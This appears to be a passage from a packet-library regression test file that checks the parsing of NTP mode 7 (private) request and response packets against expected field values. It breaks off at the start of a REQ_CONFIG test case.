NTP Private (mode 7) tests = NTP Private (mode 7) - error - Dissection s = b'\x97\x00\x03\x1d@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 29) assert(p.err == 4) assert(p.nb_items == 0) assert(p.data_item_size == 0) = NTP Private (mode 7) - REQ_PEER_LIST (1) - request s = b'\x17\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 0) assert(p.nb_items == 0) assert(p.data_item_size == 0) = NTP Private (mode 7) - REQ_PEER_LIST (2) - response s = b'\x97\x00\x03\x00\x00\x01\x00 \x7f\x7f\x01\x00\x00{\x03\x83\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 0) assert(p.nb_items == 1) assert(p.data_item_size == 32) assert(type(p.data[0]) == NTPInfoPeerList) assert(p.data[0].addr) == "127.127.1.0" assert(p.data[0].port) == 123 = NTP Private (mode 7) - REQ_PEER_INFO (1) - request s = b'\x17\x00\x03\x02\x00\x01\x00 \xc0\xa8zf\x00{\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 2) assert(p.nb_items == 1) assert(p.data_item_size == 32) assert(isinstance(p.req_data[0], NTPInfoPeerList)) assert(p.req_data[0].addr == "192.168.122.102") assert(p.req_data[0].port == 123) = NTP Private (mode 7) - REQ_PEER_INFO (2) - response s = b'\x97\x00\x03\x02\x00\x01\x01\x18\xc0\xa8zf\xc0\xa8ze\x00{\x01\x03\x01\x00\x10\x06\n\xea\x04\x00\x00\xaf"\x00"\x16\x04\xb3\x01\x00\x00\x00\x00\x00\x00\x00INIT\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x82\x9d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb<\x8d\xc5\xde\x7fB\x89\xdb<\x8d\xc5\xde\x7fB\x89\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 2) assert(isinstance(p.data[0], NTPInfoPeer)) assert(p.data[0].dstaddr == "192.168.122.102") assert(p.data[0].srcaddr == "192.168.122.101") assert(p.data[0].srcport == 123) assert(p.data[0].associd == 1203) assert(p.data[0].keyid == 1) = NTP Private (mode 7) - REQ_PEER_LIST_SUM (1) - request s = b'\x17\x00\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 1) = NTP Private (mode 7) - REQ_PEER_LIST_SUM (2) - response (1st packet) s = b'\xd7\x00\x03\x01\x00\x06\x00H\n\x00\x02\x0f\xc0\x00\x02\x01\x00{\x10\x06\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\x0f\xc0\x00\x02\x02\x00{\x10\x06\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x01\x02\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\x0f\xc0\xa8d\x01\x00{\x10\x07\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth0\xc0\xa8zg\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\x0f\xc0\xa8d\x02\x00{\x10\x07\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x02\xc0\xa8zh\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\n\x00\x02\x0f\xc0\xa8d\r\x00{\x10\x07\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8zk\x00{\x01\x01\xc0\xa8ze\xc0\xa8zf\x00{\x0b\x06\x07\xf4\x83\x01\x00\x00\x07\x89\x00\x00\x00\x007\xb1\x00h\x00\x00o?\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8zm\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 1) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 1) assert(isinstance(x, NTPInfoPeerSummary) for x in p.data) assert(p.data[0].srcaddr == "192.0.2.1") = NTP Private (mode 7) - REQ_PEER_LIST_SUM (3) - response (2nd packet) s = b'\xd7\x01\x03\x01\x00\x06\x00H\xc0\xa8ze\xc0\xa8zg\x00{\x10\x08\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8ze\xc0\xa8zg\x00{\x10\x08\n\x00\x11\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x01\x02\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8ze\xc0\xa8zh\x00{\x10\x08\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth0\xc0\xa8zg\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8ze\xc0\xa8zi\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x02\xc0\xa8zh\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc0\xa8ze\xc0\xa8zj\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8zk\x00{\x01\x01\xc0\xa8ze\xc0\xa8zk\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8zm\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 1) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 1) assert(isinstance(x, NTPInfoPeerSummary) for x in p.data) assert(p.data[0].srcaddr == "192.168.122.103") = NTP Private (mode 7) - REQ_PEER_LIST_SUM (3) - response (3rd packet) s = b'\x97\x02\x03\x01\x00\x02\x00H\xc0\xa8ze\xc0\xa8zl\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8ze\xc0\xa8zm\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x01\x02\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 1) assert(isinstance(x, NTPInfoPeerSummary) for x in p.data) assert(p.data[0].srcaddr == "192.168.122.108") = NTP Private (mode 7) - REQ_PEER_STATS (1) - request s = b'\x17\x00\x03\x03\x00\x01\x00 \xc0\xa8ze\x00{\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 3) assert(isinstance(p.req_data[0], NTPInfoPeerList)) = NTP Private (mode 7) - REQ_PEER_STATS (2) - response s = b'\x97\x00\x03\x03\x00\x01\x00x\xc0\xa8zf\xc0\xa8ze\x00{\x00\x01\x01\x00\x10\x06\x00\x00\x00)\x00\x00\x00\x1e\x00\x02\xda|\x00\x00\x00\xbc\x00\x00\x00\x00\x00\x00\x0b\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\nJ\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x07\x00\x00\x00\x00\xde\x7fB\x89\x00<\x8d\xc5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 3) assert(isinstance(x, NTPInfoPeerStats) for x in p.data) = NTP Private (mode 7) - REQ_SYS_INFO (1) - request s = b'\x17\x00\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 4) = NTP Private (mode 7) - REQ_SYS_INFO (2) - response s = b'\x97\x00\x03\x04\x00\x01\x00P\x7f\x7f\x01\x00\x03\x00\x0b\xf0\x00\x00\x00\x00\x00\x00\x03\x06\x7f\x7f\x01\x00\xdb<\xca\xf3\xa1\x92\xe1\xf7\x06\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x07\x00\x00\x00\x00\xde\x7fB\x89\x00<\x8d\xc5' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 4) assert(isinstance(p.data[0], NTPInfoSys)) assert(p.data[0].peer == "127.127.1.0") assert(p.data[0].peer_mode == 3) assert(p.data[0].leap == 0) assert(p.data[0].stratum == 11) assert(p.data[0].precision == 240) assert(p.data[0].refid == "127.127.1.0") = NTP Private (mode 7) - REQ_SYS_STATS (1) - request s = b'\x17\x00\x03\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 5) = NTP Private (mode 7) - REQ_SYS_STATS (2) - response s = b'\x97\x00\x03\x05\x00\x01\x00,\x00\x02\xe2;\x00\x02\xe2;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b%\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b%\x00\x00\x00\x00\x00\x00\x0b=\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 5) assert(isinstance(p.data[0], NTPInfoSysStats)) assert(p.data[0].timeup == 188987) assert(p.data[0].received == 2877) = NTP Private (mode 7) - REQ_IO_STATS (1) - request s = b'\x17\x00\x03\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 6) = NTP Private (mode 7) - REQ_IO_STATS (2) - response s = b'\x97\x00\x03\x06\x00\x01\x00(\x00\x00\x03\x04\x00\n\x00\t\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00J\x00\x00\x00\xd9\x00\x00\x00\x00\x00\x00\x00J\x00\x00\x00J' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 6) assert(p.data[0].timereset == 772) assert(p.data[0].sent == 217) = NTP Private (mode 7) - REQ_MEM_STATS (1) - request s = b'\x17\x00\x03\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 7) = NTP Private (mode 7) - REQ_MEM_STATS (2) - response s = b'\x97\x00\x03\x07\x00\x01\x00\x94\x00\x00\n\xee\x00\x0f\x00\r\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 7) assert(p.data[0].timereset == 2798) assert(p.data[0].totalpeermem == 15) assert(p.data[0].freepeermem == 13) assert(p.data[0].findpeer_calls == 60) assert(p.data[0].hashcount[25] == 1 and p.data[0].hashcount[89] == 1) = NTP Private (mode 7) - REQ_LOOP_INFO (1) - request s = b'\x17\x00\x03\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 8) = NTP Private (mode 7) - REQ_LOOP_INFO (2) - response s = b'\x97\x00\x03\x08\x00\x01\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x04' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 8) assert(p.data[0].last_offset == 0.0) assert(p.data[0].watchdog_timer == 4) = NTP Private (mode 7) - REQ_TIMER_STATS (1) - request s = b'\x17\x00\x03\t\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 9) = NTP Private (mode 7) - REQ_TIMER_STATS (2) - response s = b'\x97\x00\x03\t\x00\x01\x00\x10\x00\x00\x01h\x00\x00\x01h\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 9) assert(p.data[0].timereset == 360) assert(p.data[0].alarms == 360) = NTP Private (mode 7) - REQ_CONFIG (1) - request s = 